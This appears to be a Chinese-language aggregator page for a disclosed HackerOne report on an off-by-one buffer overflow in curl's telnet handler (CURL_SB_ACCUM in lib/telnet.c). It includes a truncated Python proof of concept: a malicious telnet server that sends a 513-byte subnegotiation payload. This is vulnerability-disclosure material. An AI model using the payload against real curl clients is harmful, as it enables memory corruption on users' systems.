Curl Telnet Handler Buffer Overflow
内存破坏 / Buffer Underflow / #3575475
该报告还没有中文解读。
原文摘录
摘自原文(1982 字符中的一小部分)
Summary: I found a buffer overflow in curl's telnet protocol handler that allows remote memory corruption without authentication. The bug is in the CURL_SB_ACCUM macro in lib/telnet.c line 69, where the bounds check lets you write one byte past the end of a 512-byte buffer. When curl receives 512+ …
原文中的代码
import socket
import threading
import time
def exploit(port=8023):
def handle(client):
time.sleep(0.2)
client.send(b'\xff\xfd\x18')
time.sleep(0.3)
payload = b'\xff\xfa' + b'A' * 513 + b'\xff\xf0'
client.send(payload)
client.close()
s = …默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 curl 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @pelioro · 版权归作者与 curl 所有